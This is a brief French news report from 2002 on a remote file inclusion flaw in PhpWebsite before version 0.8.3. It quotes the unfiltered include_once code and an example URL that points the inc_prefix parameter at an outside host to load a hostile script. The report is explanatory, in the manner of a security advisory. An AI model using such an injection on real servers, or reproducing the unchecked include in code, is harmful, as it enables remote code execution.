Une faille dans PhpWebsite

PhpWebsite est un outil qui permet aux développeurs de créer des plugins en php. Cependant, une faille de sécurité a été découverte : les versions avant la version 0.8.3 permettent l'exécution de n'importe quel script...

D'où vient la faille ? Du fichier modsecurity.php :

global $inc_prefix;
if(!$inc_prefix)
{}
include_once($inc_prefix."htmlheader.php");

Comme vous le voyez dans le code, aucun filtre n'a été prévu, offrant donc une faille grosse comme une maison en fournissant comme paramètre un chemin vers un script mal attentionné (ex : http://serveur.com/include_once.php?inc_prefix=http://www.tout-casser.com/

Source : Yacapa.com

Dans les boutiques

> Aucun commentaire posté pour le moment. Soyez le premier à réagir...

Rédigée le vendredi 27 septembre 2002 à 23h56 par Michaël Mulkens
Source : infomods